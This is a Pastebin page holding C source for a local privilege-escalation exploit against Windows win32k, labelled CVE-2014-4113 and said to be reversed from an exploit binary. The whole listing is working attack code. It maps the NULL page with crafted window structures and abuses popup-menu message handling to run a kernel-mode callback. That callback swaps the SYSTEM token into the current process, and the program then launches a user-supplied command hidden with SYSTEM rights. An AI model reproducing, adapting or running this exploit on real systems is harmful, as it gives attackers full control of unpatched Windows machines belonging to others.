Advertisement
powertool

CVE-2014-4113

Oct 29th, 2014
3,611
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 11.44 KB | None | 0 0
  1. //
  2. // CVE-2014-4113 'win32 exp C code' reversed from 'exe exp'
  3.  
  4. #include <windows.h>
  5. #include <stdio.h>
  6.  
  7. #pragma comment(lib, "user32.lib")
  8. #pragma comment(lib, "gdi32.lib")
  9.  
  10. /////////////////////////////////////////////////////////////
  11.  
  12. #ifndef _SYSTEM_MODULE_INFORMATION_ENTRY
  13.  
  14. typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
  15.     HANDLE Section;
  16.     PVOID  MappedBase;
  17.     PVOID  Base;
  18.     ULONG  Size;
  19.     ULONG  Flags;
  20.     USHORT LoadOrderIndex;
  21.     USHORT InitOrderIndex;
  22.     USHORT LoadCount;
  23.     USHORT PathLength;
  24.     CHAR   ImageName[256];
  25. } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
  26.  
  27. typedef struct _SYSTEM_MODULE_INFORMATION {
  28.     ULONG Count;
  29.     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
  30. } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  31.  
  32. #endif
  33.  
  34. ////////////////////////////////////////////////////////////
  35.  
  36.  
  37. typedef LPVOID PEPROCESS ;
  38. typedef int (__stdcall *PZWQUERYSYSTENINFORMATION)(DWORD, PVOID, DWORD, PDWORD) ;
  39. typedef int (__stdcall *PZWALLOCATEVIRTUALMEMORY) (HANDLE, PVOID, ULONG, PDWORD,
  40.                                                    ULONG, ULONG) ;
  41. typedef int (__stdcall *PLOOKUPPROCESSBYID)(DWORD, PEPROCESS *) ;
  42. typedef LPVOID (__stdcall *PTICURRENT)() ;
  43.  
  44.  
  45. PZWQUERYSYSTENINFORMATION fpQuerySysInfo       = NULL ;
  46. PZWALLOCATEVIRTUALMEMORY  fpAllocateVirtualMem = NULL ;
  47. PLOOKUPPROCESSBYID        fpLookupProcessById  = NULL ;
  48.  
  49. DWORD dwTokenOffset = 0 ;
  50. DWORD gFlag1  = 0 ;
  51. DWORD gFlag2  = 0 ;
  52. DWORD gFlag3  = 0 ;
  53.  
  54. WNDPROC lpPrevWndFunc   = NULL ;
  55.  
  56. DWORD dwCurProcessId    = 0  ;
  57. DWORD dwSystemProcessId = 0  ;
  58.  
  59. //////////////////////////////////////
  60.  
  61. void PrintMsg(const char *formatString, ...)
  62. {
  63.   va_list  va ;
  64.   va_start(va, formatString) ;
  65.   vprintf(formatString, va) ;
  66.   ExitProcess(0);
  67. }
  68.  
  69.  
  70. int InitTokenOffset()
  71. {
  72.     int result;  
  73.     OSVERSIONINFO VerInfo;  
  74.  
  75.     VerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO) ;
  76.     if (!GetVersionExA(&VerInfo))
  77.     {
  78.         printf("FAIL : GetVersion\n") ;
  79.         ExitProcess(0) ;
  80.     }
  81.    
  82.     result = 1;
  83.     if (VerInfo.dwMajorVersion == 5)
  84.     {
  85.         switch(VerInfo.dwMinorVersion)
  86.         {
  87.             case 0:
  88.             {
  89.                 dwTokenOffset = 0x12C ;
  90.                 break ;
  91.             }
  92.             case 1:
  93.             {
  94.                 dwTokenOffset = 0x0C8 ;
  95.                 break ;
  96.             }
  97.             case 2:
  98.             {
  99.                 dwTokenOffset = 0x0D8 ;
  100.                 break ;
  101.             }
  102.             default:
  103.             {
  104.                 dwTokenOffset = 0x0C8 ;
  105.             }
  106.         }
  107.     }
  108.     else if (VerInfo.dwMajorVersion == 6)
  109.     {
  110.         switch(VerInfo.dwMinorVersion)
  111.         {
  112.             case 0:
  113.             {
  114.                 dwTokenOffset = 0x0E0 ;
  115.                 break ;
  116.             }
  117.             case 1:
  118.             {
  119.                 dwTokenOffset = 0x0F8 ;
  120.                 break ;
  121.             }
  122.             default:
  123.             {
  124.                 result = 0 ;
  125.             }
  126.         }
  127.     }
  128.     else
  129.     {
  130.         result = 0 ;
  131.     }
  132.    
  133.     if(result == 0)
  134.     {
  135.         printf("FAIL : InitTokenOffset\n") ;
  136.         ExitProcess(0) ;
  137.     }
  138.    
  139.     return result;
  140. }
  141.  
  142.  
  143.  
  144. HMODULE GetKrnlNtBase(char *szNtName)
  145. {  
  146.     char  Buffer[0xA]  ;
  147.     DWORD dwRetLength ;
  148.    
  149.     int SystemModuleInfo = 0x0B ;
  150.     if(0xC0000004 != fpQuerySysInfo(SystemModuleInfo, Buffer, 0x0A, &dwRetLength))
  151.     {
  152.         printf("FAILED \n") ;
  153.         ExitProcess(0) ;
  154.     }
  155.    
  156.     PSYSTEM_MODULE_INFORMATION pBuf = (PSYSTEM_MODULE_INFORMATION)LocalAlloc(LMEM_ZEROINIT,
  157.                                                                              dwRetLength) ;
  158.    
  159.     if(0 != fpQuerySysInfo(SystemModuleInfo, pBuf, dwRetLength, &dwRetLength))
  160.     {
  161.         printf("FAILED \n") ;
  162.         ExitProcess(0) ;
  163.     }  
  164.  
  165.     PSYSTEM_MODULE_INFORMATION_ENTRY pModEntry = pBuf->Module ;
  166.     HMODULE hModuleBase = NULL ;
  167.    
  168.     for(DWORD i = 0 ; i < pBuf->Count ; i++ )
  169.     {
  170.         //ASCII "\SystemRoot\system32\ntkrnlpa.exe"
  171.         if(strstr(pModEntry->ImageName, "nt") && strstr(pModEntry->ImageName, "exe"))
  172.         {
  173.             /// strcpy_s(szNtName, 0x104, (char*)((DWORD)pModEntry->ImageName + pModEntry->PathLength));
  174.             strncpy(szNtName, (char*)((DWORD)pModEntry->ImageName + pModEntry->PathLength), MAX_PATH) ;
  175.             hModuleBase = (HMODULE)(pModEntry->Base) ;
  176.             break ;
  177.         }
  178.         pModEntry++ ;
  179.     }
  180.  
  181.     if(hModuleBase == NULL)
  182.     {
  183.         printf("FAIL : Get Ntoskrnl Base\n") ;
  184.         ExitProcess(0) ;
  185.     }
  186.    
  187.     LocalFree(pBuf);
  188.     return hModuleBase;
  189. }
  190.  
  191.  
  192. int InitExpVars()
  193. {
  194.     HMODULE hNtdll ;
  195.  
  196.     hNtdll = LoadLibraryA("ntdll.dll");
  197.    
  198.     if(hNtdll == NULL)
  199.     {
  200.         printf("FAIL : hNtdll == NULL \n") ;
  201.         ExitProcess(0) ;
  202.     }
  203.    
  204.     fpQuerySysInfo = (PZWQUERYSYSTENINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
  205.     fpAllocateVirtualMem = (PZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
  206.  
  207.     if(!fpQuerySysInfo || !fpAllocateVirtualMem)
  208.     {
  209.         printf("FAIL : GetProcAddress ZwQuerySystemInformation or ZwAllocateVirtualMemory\n") ;
  210.         ExitProcess(0) ;
  211.     }
  212.    
  213.     char NtKernelName[MAX_PATH] ;
  214.  
  215.     HMODULE hKrnlNtBase = GetKrnlNtBase(NtKernelName);
  216.     HMODULE hUserNtBase = LoadLibraryA(NtKernelName);
  217.  
  218.     fpLookupProcessById = (PLOOKUPPROCESSBYID)((DWORD)GetProcAddress(hUserNtBase, \
  219.                         "PsLookupProcessByProcessId") - (DWORD)hUserNtBase + (DWORD)hKrnlNtBase ) ;
  220.     dwCurProcessId      = GetCurrentProcessId() ;
  221.     dwSystemProcessId   = 4 ;
  222.  
  223.     FreeLibrary(hUserNtBase);
  224.    
  225.     return 1;
  226. }
  227.  
  228.  
  229. LPVOID CallPtiCurrent()  
  230. {
  231.     LPVOID  result = NULL ;
  232.     HMODULE hUser32 = NULL ;
  233.     PVOID   dstFunc ;
  234.    
  235.     hUser32 = LoadLibraryA("user32.dll");
  236.  
  237.     if(hUser32)
  238.     {
  239.         dstFunc = (PVOID)GetProcAddress(hUser32, "AnimateWindow");
  240.         if(gFlag2) // gFlag2 always zero in win32 exp
  241.         {
  242.           dstFunc = (PVOID)GetProcAddress(hUser32, "CreateSystemThreads");
  243.         }
  244.         if(dstFunc && *(WORD *)hUser32 == 0x5A4D )
  245.         {
  246.           IMAGE_NT_HEADERS *pPEHead = (IMAGE_NT_HEADERS *)((DWORD)hUser32 + \
  247.                                       *(DWORD*)((DWORD)hUser32+0x3C)) ;
  248.          
  249.           DWORD dwImageBase  = pPEHead->OptionalHeader.ImageBase;
  250.           DWORD dwImageBound = pPEHead->OptionalHeader.SizeOfImage + dwImageBase;
  251.          
  252.           PBYTE p = (PBYTE)dstFunc ;
  253.          
  254.           // search function 'PtiCurrent' address in code segment
  255.           for(DWORD i = 0 ; i < 70 ; i++)
  256.           {
  257.                 if((*p == 0xE8 && gFlag2 == 0) || (*p == 0xE9 && gFlag2))
  258.                 {
  259.                         if((DWORD)p < dwImageBase || (DWORD)p > dwImageBound) break ;
  260.                        
  261.                         PTICURRENT fnPtiCurrent ;
  262.                         fnPtiCurrent = (PTICURRENT)(*(DWORD*)(p+1) + (DWORD)p  + 5) ;
  263.                        
  264.                         result = fnPtiCurrent() ; // result == pointer tagTHREADINFO
  265.                        
  266.                         break ;
  267.                 }
  268.                 p++ ;
  269.           }
  270.         }
  271.         FreeLibrary(hUser32);
  272.     }
  273.     return result ;
  274. }
  275.  
  276.  
  277. // This is our fake 'WndProc' used to exploit
  278. LRESULT CALLBACK ShellCode(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
  279. {
  280.     PEPROCESS pCur, pSys ;
  281.     fpLookupProcessById(dwCurProcessId,    &pCur);
  282.     fpLookupProcessById(dwSystemProcessId, &pSys);
  283.     *(DWORD *)((DWORD)pCur + dwTokenOffset) = *(DWORD *)((DWORD)pSys + dwTokenOffset);
  284.     return  0 ;
  285. }
  286.  
  287.  
  288. int  InitExploitMem(LPVOID *pAllocAddr)  
  289. {
  290.     LPVOID pThreadInfo = CallPtiCurrent() ;
  291.  
  292.     *(DWORD*)pAllocAddr = 1 ;
  293.     DWORD dwRegionSize  = 0x2000 ;
  294.  
  295.     int iret = fpAllocateVirtualMem( GetCurrentProcess(),
  296.                                      pAllocAddr, 0, &dwRegionSize,  
  297.                                      MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
  298.                                      PAGE_EXECUTE_READWRITE ) ;
  299.     if(iret)
  300.     {
  301.         printf("Allocate Mem Failed \n") ;
  302.         ExitProcess(0) ;
  303.     }
  304.  
  305.     *(DWORD*)(0x3)  = (DWORD)pThreadInfo ;  // 3-(-5)    = 8  
  306.     *(BYTE*) (0x11) = (BYTE)4 ;             // 17-(-5)   = 0x16, bServerSideWindowProc
  307.     *(DWORD*)(0x5B) = (DWORD)ShellCode ;    // 0x5B-(-5) = 0x60, lpfnWndProc
  308.  
  309.     return 1;
  310. }
  311.  
  312.  
  313. LRESULT CALLBACK MyWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
  314. {
  315.     if(uMsg == WM_ENTERIDLE) // 0x121
  316.     {
  317.         if (gFlag1 != 1)
  318.         {
  319.             gFlag1 = 1;
  320.             PostMessageA(hWnd, WM_KEYDOWN, 0x28, 0) ;  
  321.             PostMessageA(hWnd, WM_KEYDOWN, 0x27, 0) ;
  322.             PostMessageA(hWnd, WM_LBUTTONDOWN, 0x00, 0) ;  
  323.         }  
  324.     }
  325.     return DefWindowProcA(hWnd, uMsg, wParam, lParam) ;
  326. }
  327.  
  328.  
  329. HMENU InitPopupMenu()
  330. {
  331.     MENUITEMINFO Item1,  Item2 ;
  332.     HMENU        hMenu1, hMenu2 ;
  333.    
  334.     memset(&Item1, 0, sizeof(Item1));
  335.     memset(&Item2, 0, sizeof(Item2));
  336.  
  337.     hMenu1 = CreatePopupMenu();
  338.     if(hMenu1 == NULL) return 0 ;
  339.    
  340.     Item1.cbSize = sizeof(Item1) ;
  341.     Item1.fMask  = MIIM_STRING ; // Retrieves or sets the dwTypeData member.
  342.     if(FALSE == InsertMenuItemA(hMenu1, 0, TRUE, &Item1))
  343.     {
  344.         DestroyMenu(hMenu1) ;
  345.         return NULL ;  
  346.     }
  347.    
  348.     hMenu2 = CreatePopupMenu() ;
  349.     if(hMenu2 == NULL) return NULL ;
  350.  
  351.     static char szMenuText[2] = " " ;
  352.  
  353.     Item2.fMask      = MIIM_STRING | MIIM_SUBMENU ;
  354.     Item2.dwTypeData = szMenuText ;
  355.     Item2.cch        = 1 ;             // length of szMenuText
  356.     Item2.hSubMenu   = hMenu1 ;
  357.     Item2.cbSize     = sizeof(Item2) ;
  358.    
  359.     if(FALSE == InsertMenuItemA(hMenu2, 0, TRUE, &Item2))
  360.     {
  361.         printf("InsertMenuItem FAIL [%d] !\n", GetLastError()) ;
  362.         DestroyMenu(hMenu1) ;
  363.         DestroyMenu(hMenu2) ;
  364.         return NULL  ;  
  365.     }
  366.     return hMenu2 ;
  367. }
  368.  
  369.  
  370. LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
  371. {
  372.     if(uMsg != 0x1EB)
  373.     {
  374.         return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam) ;
  375.     }
  376.     EndMenu() ;
  377.     return -5 ;
  378. }
  379.  
  380.  
  381. LRESULT CALLBACK WndProcHook(int nCode, WPARAM wParam, LPARAM lParam)
  382. {
  383.     CWPSTRUCT *pWndProcArgs = (CWPSTRUCT*)lParam ;
  384.    
  385.     if(pWndProcArgs->message == 0x1EB) // MN_FINDMENUWINDOWFROMPOINT
  386.     {
  387.         if(!gFlag3)
  388.         {
  389.             gFlag3 = 1 ;
  390.             if(UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook))
  391.             {
  392.                 lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd,
  393.                                                          GWL_WNDPROC,
  394.                                                          (LONG)NewWndProc ) ;
  395.             }
  396.         }
  397.     }
  398.     return CallNextHookEx(NULL, nCode, wParam, lParam);
  399. }
  400.  
  401.  
  402. DWORD WINAPI ThreadProc(LPVOID lParam)
  403. {
  404.     WNDCLASS    wc ;
  405.     SYSTEM_INFO SystemInfo ;
  406.     HWND        hWnd ;
  407.     int         result = 0 ;
  408.     LPVOID      pAllocAddr ;
  409.    
  410.     memset(&SystemInfo, 0, 0x24);
  411.     memset(&wc, 0, sizeof(wc));
  412.  
  413.     wc.lpfnWndProc   = MyWndProc ;  
  414.     wc.lpszClassName = "woqunimalegebi" ;
  415.  
  416.     //GetNativeSystemInfo(&SystemInfo);
  417.     //if(SystemInfo.dwOemId == PROCESSOR_ARCHITECTURE_AMD64) return 0 ;
  418.  
  419.     RegisterClassA(&wc) ;
  420.     hWnd = CreateWindowExA(0, wc.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0) ;
  421.     if(hWnd == NULL) return 0 ;
  422.  
  423.     InitExploitMem(&pAllocAddr) ;
  424.    
  425.     HMENU hMenu2 = InitPopupMenu();
  426.    
  427.     if(hMenu2)
  428.     {
  429.         DWORD dwThreadId = GetCurrentThreadId();
  430.         if(SetWindowsHookExA(WH_CALLWNDPROC,  WndProcHook, 0, dwThreadId))
  431.         {
  432.             if(TrackPopupMenu(hMenu2, 0, -10000, -10000, 0, hWnd, 0))
  433.             {
  434.                 PostMessageA(hWnd, 0, 0, 0);
  435.                 result = 1;
  436.             }
  437.         }  
  438.     }
  439.  
  440.     DestroyWindow(hWnd) ;
  441.     if (hMenu2)
  442.     {
  443.         DestroyMenu(hMenu2);
  444.     }
  445.     UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook);
  446.     VirtualFree(pAllocAddr, 0, MEM_RELEASE);
  447.     return result;
  448. }
  449.  
  450.  
  451. int main(int argc, char *argv[])
  452. {
  453.     InitTokenOffset() ;
  454.  
  455.     InitExpVars() ;
  456.    
  457.     HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ThreadProc, 0, 0, 0);
  458.  
  459.     if(WaitForSingleObject(hThread, 300000))
  460.     {
  461.         TerminateThread(hThread, 0);
  462.         PrintMsg("FAIL [%d]\n", GetLastError()) ;
  463.     }  
  464.    
  465.     if(argv[1])
  466.     {
  467.         STARTUPINFO         StartupInfo ;
  468.         PROCESS_INFORMATION ProcessInfo ;
  469.        
  470.         memset(&StartupInfo, 0, sizeof(StartupInfo)) ;
  471.         memset(&ProcessInfo, 0, sizeof(ProcessInfo)) ;
  472.    
  473.         StartupInfo.cb = sizeof(STARTUPINFO) ;
  474.         StartupInfo.wShowWindow = SW_HIDE ;
  475.         StartupInfo.dwFlags     = STARTF_USESHOWWINDOW ;
  476.         CreateProcessA(0, argv[1], 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo) ;
  477.         WaitForSingleObject(ProcessInfo.hProcess, 60000) ;
  478.         CloseHandle(ProcessInfo.hProcess) ;
  479.         CloseHandle(ProcessInfo.hThread) ;
  480.     }
  481.     return 0 ;
  482. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement